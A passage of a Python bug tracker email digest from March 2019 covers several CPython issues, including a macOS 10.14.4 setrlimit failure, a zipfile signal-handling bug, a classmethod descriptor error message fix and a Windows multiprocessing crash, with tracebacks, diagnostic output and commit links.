(where d1 and d2 are dicts) with a form proposed in PEP 448:

    d = {**d1, **d2}

or equivalent.

Besides functools, where using the new syntax makes the code clearer, there are not much occurrences of such idiom: only in yet 5 files, 1-2 times per file.

----------
components: Library (Lib)
messages: 338857
nosy: serhiy.storchaka
priority: normal
severity: normal
status: open
title: Use dict unpacking for merging two dicts
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36431>
_______________________________________

From report at bugs.python.org  Tue Mar 26 02:35:13 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 26 Mar 2019 06:35:13 +0000
Subject: [issue36431] Use dict unpacking for merging two dicts
In-Reply-To: <1553581988.35.0.681522734554.issue36431@roundup.psfhosted.org>
Message-ID: <1553582113.34.0.974038975265.issue36431@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
keywords: +patch
pull_requests: +12500
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36431>
_______________________________________

From report at bugs.python.org  Tue Mar 26 02:36:43 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 26 Mar 2019 06:36:43 +0000
Subject: [issue36431] Use dict unpacking for merging two dicts
In-Reply-To: <1553581988.35.0.681522734554.issue36431@roundup.psfhosted.org>
Message-ID: <1553582203.55.0.642991955673.issue36431@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36431>
_______________________________________

From report at bugs.python.org  Tue Mar 26 02:42:50 2019
From: report at bugs.python.org (miss-islington)
Date: Tue, 26 Mar 2019 06:42:50 +0000
Subject: [issue36430] A possible reference leak in itertools.count()
In-Reply-To: <1553578571.99.0.594880448437.issue36430@roundup.psfhosted.org>
Message-ID: <1553582570.82.0.481895503556.issue36430@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12501

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36430>
_______________________________________

From report at bugs.python.org  Tue Mar 26 03:09:11 2019
From: report at bugs.python.org (Ned Deily)
Date: Tue, 26 Mar 2019 07:09:11 +0000
Subject: [issue36432] Running python test suite fails on macOS 10.14.4 with
 resource.RLIMIT_STACK error
Message-ID: <1553584151.61.0.380593331105.issue36432@roundup.psfhosted.org>


New submission from Ned Deily <nad at python.org>:

After upgrading my first macOS system to the newly released macOS 10.14.4 update, attempts to run the Python test suite via regrtest fail:

$ /usr/local/bin/python3.7 -m test -uall -j3 -w
Traceback (most recent call last):
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/runpy.py", line 193, in _run_module_as_main
    "__main__", mod_spec)
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/test/__main__.py", line 2, in <module>
    main()
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/test/libregrtest/main.py", line 640, in main
    Regrtest().main(tests=tests, **kwargs)
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/test/libregrtest/main.py", line 586, in main
    self._main(tests, kwargs)
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/test/libregrtest/main.py", line 607, in _main
    setup_tests(self.ns)
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/test/libregrtest/setup.py", line 77, in setup_tests
    resource.setrlimit(resource.RLIMIT_STACK, (newsoft, hard))
ValueError: current limit exceeds maximum limit

The error is during regrtest initialization when it is trying to increase the process stack size to avoid previously seen problems when running tests.  This code has been unchanged for a long time.

Stepping through the code in the REPL on 10.14.4:
>>> import resource
>>> resource.getrlimit(resource.RLIMIT_STACK)
(8388608, 67104768)
>>> soft, hard = resource.getrlimit(resource.RLIMIT_STACK)
>>> newsoft = min(hard, max(soft, 1024*2048))
>>> newsoft
8388608
>>> resource.setrlimit(resource.RLIMIT_STACK, (newsoft, hard))
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: current limit exceeds maximum limit

The same code run on a macOS system still running 10.14.3 gives the same values from getrlimit but does not fail when calling setrlimit.

I will investigate further tomorrow; if this is a general problem with macOS 10.14.4, we'll need to provide a workaround and possibly open an incident report with Apple.

----------
assignee: ned.deily
components: macOS
messages: 338858
nosy: ned.deily, ronaldoussoren
priority: critical
severity: normal
stage: test needed
status: open
title: Running python test suite fails on macOS 10.14.4 with resource.RLIMIT_STACK error
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36432>
_______________________________________

From report at bugs.python.org  Tue Mar 26 03:55:41 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 26 Mar 2019 07:55:41 +0000
Subject: [issue36430] A possible reference leak in itertools.count()
In-Reply-To: <1553578571.99.0.594880448437.issue36430@roundup.psfhosted.org>
Message-ID: <1553586941.45.0.638754343352.issue36430@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:


New changeset c0dce6aa2ce1ff408170bb8de2ebde3bfd8aa6cf by Raymond Hettinger (Miss Islington (bot)) in branch '2.7':
bpo-36430: Fix a possible reference leak in itertools.count(). (GH-12551) (GH-12554)
https://github.com/python/cpython/commit/c0dce6aa2ce1ff408170bb8de2ebde3bfd8aa6cf


----------
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36430>
_______________________________________

From report at bugs.python.org  Tue Mar 26 04:11:55 2019
From: report at bugs.python.org (Inada Naoki)
Date: Tue, 26 Mar 2019 08:11:55 +0000
Subject: [issue36433] Unhelpful error message in classmethoddescr_call()
Message-ID: <1553587915.75.0.69915652886.issue36433@roundup.psfhosted.org>


New submission from Inada Naoki <songofacandy at gmail.com>:

>>> desc = dict.__dict__['fromkeys']
>>> desc(int, [])
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: descriptor 'fromkeys' requires a subtype of 'dict' but received 'type

`'type` should be `'int'`.

----------
components: Interpreter Core
messages: 338860
nosy: inada.naoki
priority: normal
severity: normal
status: open
title: Unhelpful error message in classmethoddescr_call()
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36433>
_______________________________________

From report at bugs.python.org  Tue Mar 26 04:18:38 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 26 Mar 2019 08:18:38 +0000
Subject: [issue36433] Unhelpful error message in classmethoddescr_call()
In-Reply-To: <1553587915.75.0.69915652886.issue36433@roundup.psfhosted.org>
Message-ID: <1553588318.35.0.475083302511.issue36433@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36433>
_______________________________________

From report at bugs.python.org  Tue Mar 26 04:19:54 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 26 Mar 2019 08:19:54 +0000
Subject: [issue36433] Unhelpful error message in classmethoddescr_call()
In-Reply-To: <1553587915.75.0.69915652886.issue36433@roundup.psfhosted.org>
Message-ID: <1553588394.07.0.50221683154.issue36433@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

More confusing error message:

>>> desc(1, [])
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: descriptor 'fromkeys' requires a type but received a 'dict'

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36433>
_______________________________________

From report at bugs.python.org  Tue Mar 26 04:20:40 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 26 Mar 2019 08:20:40 +0000
Subject: [issue36430] A possible reference leak in itertools.count()
In-Reply-To: <1553578571.99.0.594880448437.issue36430@roundup.psfhosted.org>
Message-ID: <1553588440.84.0.0734158027736.issue36430@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36430>
_______________________________________

From report at bugs.python.org  Tue Mar 26 04:31:46 2019
From: report at bugs.python.org (Inada Naoki)
Date: Tue, 26 Mar 2019 08:31:46 +0000
Subject: [issue36433] Unhelpful error message in classmethoddescr_call()
In-Reply-To: <1553587915.75.0.69915652886.issue36433@roundup.psfhosted.org>
Message-ID: <1553589106.16.0.37024540154.issue36433@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
keywords: +patch
pull_requests: +12502
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36433>
_______________________________________

From report at bugs.python.org  Tue Mar 26 04:41:38 2019
From: report at bugs.python.org (Inada Naoki)
Date: Tue, 26 Mar 2019 08:41:38 +0000
Subject: [issue36432] Running python test suite fails on macOS 10.14.4 with
 resource.RLIMIT_STACK error
In-Reply-To: <1553584151.61.0.380593331105.issue36432@roundup.psfhosted.org>
Message-ID: <1553589698.72.0.465203156911.issue36432@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

My mac is also 10.14.4.  I don't have older macOS now.  Could someone test this?

$ ulimit -Sa
core file size          (blocks, -c) 0
data seg size           (kbytes, -d) unlimited
file size               (blocks, -f) unlimited
max locked memory       (kbytes, -l) unlimited
max memory size         (kbytes, -m) unlimited
open files                      (-n) 4864
pipe size            (512 bytes, -p) 1
stack size              (kbytes, -s) 8192
cpu time               (seconds, -t) unlimited
max user processes              (-u) 1418
virtual memory          (kbytes, -v) unlimited

$ ulimit -Ha
core file size          (blocks, -c) unlimited
data seg size           (kbytes, -d) unlimited
file size               (blocks, -f) unlimited
max locked memory       (kbytes, -l) unlimited
max memory size         (kbytes, -m) unlimited
open files                      (-n) unlimited
pipe size            (512 bytes, -p) 1
stack size              (kbytes, -s) 65532
cpu time               (seconds, -t) unlimited
max user processes              (-u) 2128
virtual memory          (kbytes, -v) unlimited

----------
nosy: +inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36432>
_______________________________________

From report at bugs.python.org  Tue Mar 26 04:59:02 2019
From: report at bugs.python.org (Andriy Maletsky)
Date: Tue, 26 Mar 2019 08:59:02 +0000
Subject: [issue36434] Zipfile breaks if signalled during write()
Message-ID: <1553590742.34.0.262884911758.issue36434@roundup.psfhosted.org>


New submission from Andriy Maletsky <andriy.maletsky at gmail.com>:

Consider a simple write to a zip file:


import zipfile

with zipfile.ZipFile('/workdir/archive.zip', 'w', compression=zipfile.ZIP_DEFLATED) as zip_archive:
    zip_archive.write('/workdir/data.csv', arcname='data.csv')
    print('exiting from context manager...')


If a signal handler is fired and raises an exception during certain points of write() execution, such an error occurs (py 3.7.2):


Traceback (most recent call last):
  File "zipissue.py", line 4, in <module>
    zip_archive.write('/workdir/data.csv', arcname='data.csv')
  File "/usr/local/lib/python3.7/zipfile.py", line 1744, in write
    shutil.copyfileobj(src, dest, 1024*8)
  File "/usr/local/lib/python3.7/zipfile.py", line 1107, in close
    buf = self._compressor.flush()
KeyboardInterrupt

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "zipissue.py", line 5, in <module>
    print('exiting from context manager...')
  File "/usr/local/lib/python3.7/zipfile.py", line 1265, in __exit__
    self.close()
  File "/usr/local/lib/python3.7/zipfile.py", line 1798, in close
    raise ValueError("Can't close the ZIP file while there is "
ValueError: Can't close the ZIP file while there is an open writing handle on it. Close the writing handle before closing the zip.
Exception ignored in: <function ZipFile.__del__ at 0x7fbeea4fcd08>
Traceback (most recent call last):
  File "/usr/local/lib/python3.7/zipfile.py", line 1789, in __del__
  File "/usr/local/lib/python3.7/zipfile.py", line 1798, in close
ValueError: Can't close the ZIP file while there is an open writing handle on it. Close the writing handle before closing the zip.


Before any write the `ZipFile._writing` flag is set, and that flag is cleared at `_ZipWriteFile.close()`. But if signalled inside `_ZipWriteFile.close()` we are moving to a broken state: we don't write anything anymore, but `ZipFile._writing` is still set. Therefore we cannot clearly close ZipFile. As ZipFile contextmanager swallows KeyboardInterrupt and produces an exception of `Exception` type, this leads to the impossibility of proper program shutdown.

I believe that by simply moving `ZipFile._writing = False` in `_ZipWriteFile.close()` to some finally block, this issue will be solved safely.

----------
components: Library (Lib)
messages: 338863
nosy: and800
priority: normal
severity: normal
status: open
title: Zipfile breaks if signalled during write()
type: behavior
versions: Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36434>
_______________________________________

From report at bugs.python.org  Tue Mar 26 05:08:03 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 26 Mar 2019 09:08:03 +0000
Subject: [issue36434] Zipfile breaks if signalled during write()
In-Reply-To: <1553590742.34.0.262884911758.issue36434@roundup.psfhosted.org>
Message-ID: <1553591283.32.0.731111191006.issue36434@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +alanmcintyre, serhiy.storchaka, twouters

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36434>
_______________________________________

From report at bugs.python.org  Tue Mar 26 05:08:30 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 26 Mar 2019 09:08:30 +0000
Subject: [issue36345] Deprecate Tools/scripts/serve.py in favour of python -m
 http.server -d
In-Reply-To: <1553554385.37.0.690844659003.issue36345@roundup.psfhosted.org>
Message-ID: <53c7176c-8237-9a70-a1a2-d50dd585e8a5@wirtel.be>


St?phane Wirtel <stephane at wirtel.be> added the comment:

Thank you for the merge.

St?phane

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36345>
_______________________________________

From report at bugs.python.org  Tue Mar 26 05:25:43 2019
From: report at bugs.python.org (Kumar Akshay)
Date: Tue, 26 Mar 2019 09:25:43 +0000
Subject: [issue36432] Running python test suite fails on macOS 10.14.4 with
 resource.RLIMIT_STACK error
In-Reply-To: <1553584151.61.0.380593331105.issue36432@roundup.psfhosted.org>
Message-ID: <1553592343.57.0.0494194570021.issue36432@roundup.psfhosted.org>


Kumar Akshay <k.akshay9721 at gmail.com> added the comment:

I'm on macOS 10.14.3 and running those commands gives me this ->

~ ulimit -Sa
-t: cpu time (seconds)              unlimited
-f: file size (blocks)              unlimited
-d: data seg size (kbytes)          unlimited
-s: stack size (kbytes)             8192
-c: core file size (blocks)         0
-v: address space (kbytes)          unlimited
-l: locked-in-memory size (kbytes)  unlimited
-u: processes                       709
-n: file descriptors                4864
?  ~ ulimit -Ha
-t: cpu time (seconds)              unlimited
-f: file size (blocks)              unlimited
-d: data seg size (kbytes)          unlimited
-s: stack size (kbytes)             65532
-c: core file size (blocks)         unlimited
-v: address space (kbytes)          unlimited
-l: locked-in-memory size (kbytes)  unlimited
-u: processes                       1064
-n: file descriptors                unlimited

----------
nosy: +kakshay

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36432>
_______________________________________

From report at bugs.python.org  Tue Mar 26 05:26:35 2019
From: report at bugs.python.org (miss-islington)
Date: Tue, 26 Mar 2019 09:26:35 +0000
Subject: [issue36433] Unhelpful error message in classmethoddescr_call()
In-Reply-To: <1553587915.75.0.69915652886.issue36433@roundup.psfhosted.org>
Message-ID: <1553592395.96.0.468543574619.issue36433@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 871309c775fd4d72048bfaa31affd54f9934f7dd by Miss Islington (bot) (Inada Naoki) in branch 'master':
bpo-36433: fix confusing error messages in classmethoddescr_call (GH-12556)
https://github.com/python/cpython/commit/871309c775fd4d72048bfaa31affd54f9934f7dd


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36433>
_______________________________________

From report at bugs.python.org  Tue Mar 26 05:26:48 2019
From: report at bugs.python.org (miss-islington)
Date: Tue, 26 Mar 2019 09:26:48 +0000
Subject: [issue36433] Unhelpful error message in classmethoddescr_call()
In-Reply-To: <1553587915.75.0.69915652886.issue36433@roundup.psfhosted.org>
Message-ID: <1553592408.15.0.229789960375.issue36433@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12503

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36433>
_______________________________________

From report at bugs.python.org  Tue Mar 26 05:29:25 2019
From: report at bugs.python.org (Inada Naoki)
Date: Tue, 26 Mar 2019 09:29:25 +0000
Subject: [issue36432] Running python test suite fails on macOS 10.14.4 with
 resource.RLIMIT_STACK error
In-Reply-To: <1553584151.61.0.380593331105.issue36432@roundup.psfhosted.org>
Message-ID: <1553592565.66.0.922793998638.issue36432@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

I created simple program calling setrlimit and it succeeds.
I confirmed setrlimit argument is exactly same.
It's very curious why same Python code fails...


== c code
#include <sys/resource.h>
#include <stdio.h>

int
main(int argc, char *argv[])
{
    struct rlimit rl;
    int err;

    err = getrlimit(RLIMIT_STACK, &rl);
    if (err < 0) {
        perror("getrlimit");
        return err;
    }

    printf("%d, soft=%llu, hard=%llu\n", RLIMIT_STACK, rl.rlim_cur, rl.rlim_max);

    err = setrlimit(RLIMIT_STACK, &rl);
    if (err < 0) {
        perror("setrlimit");
        return err;
    }

    return 0;
}

== Python code
import resource
soft, hard = resource.getrlimit(resource.RLIMIT_STACK)
print("limits=", soft, hard)
resource.setrlimit(resource.RLIMIT_STACK, (soft, hard))

== fails
Traceback (most recent call last):
  File "x.py", line 4, in <module>
    resource.setrlimit(resource.RLIMIT_STACK, (soft, hard))
ValueError: current limit exceeds maximum limit

----------
nosy:  -kakshay

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36432>
_______________________________________

From report at bugs.python.org  Tue Mar 26 05:39:36 2019
From: report at bugs.python.org (Inada Naoki)
Date: Tue, 26 Mar 2019 09:39:36 +0000
Subject: [issue34602] python3 resource.setrlimit strange behaviour under macOS
In-Reply-To: <1536316486.92.0.56676864532.issue34602@psf.upfronthosting.co.za>
Message-ID: <1553593176.79.0.637285870349.issue34602@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

https://bugs.python.org/issue34602 may be relating to this.

----------
nosy: +inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34602>
_______________________________________

From report at bugs.python.org  Tue Mar 26 05:47:10 2019
From: report at bugs.python.org (miss-islington)
Date: Tue, 26 Mar 2019 09:47:10 +0000
Subject: [issue36433] Unhelpful error message in classmethoddescr_call()
In-Reply-To: <1553587915.75.0.69915652886.issue36433@roundup.psfhosted.org>
Message-ID: <1553593630.42.0.0688321406634.issue36433@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 03440850e7266aa7fd531c7f281a3fdcf17f90a4 by Miss Islington (bot) in branch '3.7':
bpo-36433: fix confusing error messages in classmethoddescr_call (GH-12556)
https://github.com/python/cpython/commit/03440850e7266aa7fd531c7f281a3fdcf17f90a4


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36433>
_______________________________________

From report at bugs.python.org  Tue Mar 26 05:50:45 2019
From: report at bugs.python.org (Inada Naoki)
Date: Tue, 26 Mar 2019 09:50:45 +0000
Subject: [issue36433] Unhelpful error message in classmethoddescr_call()
In-Reply-To: <1553587915.75.0.69915652886.issue36433@roundup.psfhosted.org>
Message-ID: <1553593845.35.0.511561730331.issue36433@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36433>
_______________________________________

From report at bugs.python.org  Tue Mar 26 06:49:27 2019
From: report at bugs.python.org (Paul Moore)
Date: Tue, 26 Mar 2019 10:49:27 +0000
Subject: [issue36435] multiprocessing crashes in Python 3.7.3 on Windows
Message-ID: <1553597367.39.0.880995955963.issue36435@roundup.psfhosted.org>


New submission from Paul Moore <p.f.moore at gmail.com>:

If I run the following sample program using Python 3.7.3 (64 bit) for Windows, it immediately fails, producing a massive traceback.

import multiprocessing

def f(n):
    return n+1

with multiprocessing.Pool() as p:
    for n in p.map(f, [1,2,3]):
        print(n)

This is a part of the traceback produced - the whole traceback seemed to be continually increasing, until I killed (some of) the python processes via task manager:

Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\spawn.py", line 105, in spawn_main
    exitcode = _main(fd)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\spawn.py", line 114, in _main
    prepare(preparation_data)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\spawn.py", line 225, in prepare
    _fixup_main_from_path(data['init_main_from_path'])
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\spawn.py", line 277, in _fixup_main_from_path
    run_name="__mp_main__")
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\runpy.py", line 263, in run_path
    pkg_name=pkg_name, script_name=fname)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\runpy.py", line 96, in _run_module_code
Traceback (most recent call last):
  File "<string>", line 1, in <module>
    mod_name, mod_spec, pkg_name, script_name)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\spawn.py", line 105, in spawn_main
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\runpy.py", line 85, in _run_code
    exitcode = _main(fd)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\spawn.py", line 114, in _main
    exec(code, run_globals)
    prepare(preparation_data)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\spawn.py", line 225, in prepare
  File "C:\Work\Scratch\t.py", line 6, in <module>
    _fixup_main_from_path(data['init_main_from_path'])
    with multiprocessing.Pool() as p:
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\spawn.py", line 277, in _fixup_main_from_path
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\context.py", line 119, in Pool
    run_name="__mp_main__")
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\runpy.py", line 263, in run_path
    context=self.get_context())
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\pool.py", line 176, in __init__
    pkg_name=pkg_name, script_name=fname)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\runpy.py", line 96, in _run_module_code
    mod_name, mod_spec, pkg_name, script_name)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\runpy.py", line 85, in _run_code
    self._repopulate_pool()
    exec(code, run_globals)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\pool.py", line 241, in _repopulate_pool
  File "C:\Work\Scratch\t.py", line 6, in <module>
    with multiprocessing.Pool() as p:
    w.start()
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\context.py", line 119, in Pool
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\process.py", line 112, in start
    context=self.get_context())
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\pool.py", line 176, in __init__
    self._popen = self._Popen(self)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\context.py", line 322, in _Popen
    self._repopulate_pool()
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\pool.py", line 241, in _repopulate_pool
    return Popen(process_obj)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\popen_spawn_win32.py", line 46, in __init__
    w.start()
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\process.py", line 112, in start
    prep_data = spawn.get_preparation_data(process_obj._name)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\spawn.py", line 143, in get_preparation_data
    self._popen = self._Popen(self)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\context.py", line 322, in _Popen
    return Popen(process_obj)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\popen_spawn_win32.py", line 46, in __init__
    _check_not_importing_main()
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\spawn.py", line 136, in _check_not_importing_main
    prep_data = spawn.get_preparation_data(process_obj._name)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\spawn.py", line 143, in get_preparation_data
    is not going to be frozen to produce an executable.''')
RuntimeError:
        An attempt has been made to start a new process before the
        current process has finished its bootstrapping phase.

        This probably means that you are not using fork to start your
        child processes and you have forgotten to use the proper idiom
    _check_not_importing_main()
        in the main module:

            if __name__ == '__main__':
                freeze_support()

----------
components: Library (Lib), Windows
messages: 338870
nosy: paul.moore, steve.dower, tim.golden, zach.ware
priority: high
severity: normal
status: open
title: multiprocessing crashes in Python 3.7.3 on Windows
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36435>
_______________________________________

From report at bugs.python.org  Tue Mar 26 06:57:58 2019
From: report at bugs.python.org (J.E.McCormack)
Date: Tue, 26 Mar 2019 10:57:58 +0000
Subject: [issue36408] Tkinter multi-processing performance,
 Linux 10-25 times faster than Windows 10
In-Reply-To: <1553356668.85.0.0833740641737.issue36408@roundup.psfhosted.org>
Message-ID: <1553597878.97.0.0192723537396.issue36408@roundup.psfhosted.org>


J.E.McCormack <jamesisub at gmail.com> added the comment:

Attached is a minimal reproducer script which is sufficient to show the issue clearly.
	
It is a simple single-thread Tkinter program with one canvas. No multiprocessing, no shared variables, no connections between instances. Instructions at top of file.
	
Results on i7-6700HQ, 4-core (8 thread), 2.60GHz, 16GB, Windows 10:-
    
    1 process running alone:             29k objects/sec
    6 processes running concurrently:    4.3k objects/sec each, = 25.8k objects/sec combined.

Conclusion: One-core performance, global system-wide lock.

----------
Added file: https://bugs.python.org/file48232/mosaic.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36408>
_______________________________________

From report at bugs.python.org  Tue Mar 26 07:20:58 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Tue, 26 Mar 2019 11:20:58 +0000
Subject: [issue13282] the table of contents in epub file is too long
In-Reply-To: <1319796506.79.0.347343158897.issue13282@psf.upfronthosting.co.za>
Message-ID: <1553599258.88.0.367803865389.issue13282@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
nosy: +ezio.melotti, mdk, willingc
type:  -> enhancement
versions: +Python 3.7, Python 3.8 -Python 2.7, Python 3.2

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue13282>
_______________________________________

From report at bugs.python.org  Tue Mar 26 07:40:40 2019
From: report at bugs.python.org (Bas Nijholt)
Date: Tue, 26 Mar 2019 11:40:40 +0000
Subject: [issue34075] asyncio: We should prohibit setting a
 ProcessPoolExecutor in with set_default_executor
In-Reply-To: <1531150174.99.0.56676864532.issue34075@psf.upfronthosting.co.za>
Message-ID: <1553600440.23.0.946776329426.issue34075@roundup.psfhosted.org>


Bas Nijholt <basnijholt at gmail.com> added the comment:

I think this issue is related to  the problem in https://bugs.python.org/issue36281

If it indeed is the case, then the fix proposed here and implemented in https://github.com/python/cpython/commit/22d25085db2590932b3664ca32ab82c08f2eb2db won't really help.

----------
nosy: +basnijholt

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34075>
_______________________________________

From report at bugs.python.org  Tue Mar 26 08:25:08 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 26 Mar 2019 12:25:08 +0000
Subject: [issue36434] Zipfile breaks if signalled during write()
In-Reply-To: <1553590742.34.0.262884911758.issue36434@roundup.psfhosted.org>
Message-ID: <1553603108.95.0.0516776932622.issue36434@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
keywords: +patch
pull_requests: +12504
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36434>
_______________________________________

From report at bugs.python.org  Tue Mar 26 08:29:20 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 12:29:20 +0000
Subject: [issue33725] Python crashes on macOS after fork with no exec
In-Reply-To: <1527814386.62.0.682650639539.issue33725@psf.upfronthosting.co.za>
Message-ID: <1553603360.37.0.144448923297.issue33725@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> And that change should be made for every platform so it will affect a much broader group of users than are affected by *this* issue.

Do you mean to stop using fork on Linux as well? Using fork is just fine on Linux, no?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33725>
_______________________________________

From report at bugs.python.org  Tue Mar 26 08:33:51 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 12:33:51 +0000
Subject: [issue36345] Deprecate Tools/scripts/serve.py in favour of python -m
 http.server -d
In-Reply-To: <1552917459.29.0.295748589939.issue36345@roundup.psfhosted.org>
